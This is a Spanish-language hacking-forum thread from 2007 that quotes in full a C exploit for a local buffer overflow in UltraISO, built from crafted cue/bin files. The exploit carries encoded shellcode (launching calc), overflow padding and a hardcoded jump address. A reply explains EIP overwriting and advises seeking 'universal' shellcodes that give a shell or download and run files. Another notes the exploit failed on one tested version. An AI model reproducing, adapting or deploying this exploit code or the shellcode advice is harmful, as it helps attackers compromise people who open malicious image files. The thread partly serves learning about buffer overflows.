elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 09:25  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit  (Leído 1,715 veces)
anion

Desconectado Desconectado

Mensajes: 137


Ver Perfil
UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« en: 14 Junio 2007, 16:41 »

Hola, hace tiempo que estoy leyendo temas referidos a los exploits pero nunca se me dio el tiempo como para poder profundizar demasiado.

Eocnotre este exploit en C. para el UltraISO <= 8.6.2.2011

Citar
/*
Date : May 28th 2007.
UltraISO <= 8.6.2.2011 local buffer-over flow by n00b
You might need to change the jmp esp% adress to your version.
Tested on win xp service pack 2 <eng> executes calc.Don't
forget you need to have the bin and cue file in the same
Directory special thanks to Thomas Pollet also.

*/

#include <stdlib.h>
#include <stdio.h>

//Calc shell_code
unsigned char shell_code[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a" ;

int main(int argc, char *argv[])
{
   FILE *cue;

   FILE *bin;

 if(argc < 2) {
 
 system("cls");
 printf("\n *************************************************");
 printf("\n *************************************************");
 printf("\n *   Ultra Iso local buffer over flow by n00b    *");
 printf("\n *************************************************");
 printf("\n *          Special thanks to Str0ke             *");
 printf("\n *************************************************");
 printf("\n * Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo*");
 printf("\n * Date :          May 28th 2007                 *");
 printf("\n *************************************************");
 printf("\n * Credit's to n00b for finding this bug and poc *");
 printf("\n *************************************************");
 printf("\n    Usage:>  Exploit.cue   Exploit.bin            ");
 printf("\n *************************************************");

      return 0;
   }
      if(!(cue = fopen(argv[1], "w"))) {
      printf("
  • Error");
      return 0;
   }
 
   fputs("FILE \"", cue);
   for (int i=0;i<1099;i++) \
   fputs("A", cue);
   fputs("\x43\x41\xf8\x77", cue);
       
    fputs((char *)shell_code, cue);
    fputs(".bin \"", cue);
   fputs("\" BINARY\n", cue);
   fputs(" TRACK 01 MODE2/2352\n", cue);
   fputs(" INDEX 01 00:00:00\n", cue);
   
    fclose(cue);
   
      if(!(bin = fopen(argv[2], "w"))) {
      printf("
  • Error");
      return 0;
   }

   fputs("Fake bin file\n", bin);
   fclose(bin);
   printf("File's successfully created");
   return 0;
}

// milw0rm.com [2007-05-28]

Si instalo el programa en mi pc y ejecuto el exploit, estaria generando un buffer overflow, o sea esto que significa a nivel de riesgo?.
Busque en otras paginas lo que es un BO y encontre este ejemplo.

Citar
void func(void)
{
   int i;
   char buffer[256];
   for (i=0;i<512;i++)
   buffer='A';
}

O sea, estoy escribiendo en una zona de memoria que no esta manejada, pero no entiendo el risgo que esto conlleva a nivel de sistema.
En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« Respuesta #1 en: 14 Junio 2007, 18:19 »

Al escribir en una zona de memoria prohibida puedes modificar el siguiente salto (EIP), de esta manera se puede ejecutar diversas funciones del sistema.
En línea
anion

Desconectado Desconectado

Mensajes: 137


Ver Perfil
Re: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« Respuesta #2 en: 14 Junio 2007, 21:25 »

o sea, ejecuto el exploit y luego que tengo que hacer?, que beneficio obtengo?
En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« Respuesta #3 en: 14 Junio 2007, 23:00 »

El código de arriba generará un archivo CUE y BIN, éste último con el exploit dentro.

Una vez abierto el archivo BIN se escribirá sobre la memoria y se ejecutará la shellcode...

¿Beneficio? Hay muchos tipos de shellcodes, unas te dan una shell, otras descargan un archivo via HTTP y lo ejecutan, otras son simples PoC que lanzan una alerta...

Si buscas shellcodes intenta que sea universales, así te ahorraras incompatibilidades con los sistemas operativos, o si lo prefieres puedes programar la tuya con los Offers de tu SO, aunque ya no voy a entrar en ese tema...

Pásate por aquí: http://foro.elhacker.net/index.php/topic,164933.msg788183.html#msg788183

EDIT: Acabo de probar el exploit con la versión demo del UltraISO 8.6.2.2011 y al abrir el BIN me dice que el formato de la imagen es desconocido, y no se escribió nada sobre la memoria...
« Última modificación: 14 Junio 2007, 23:13 por YeIk0s » En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines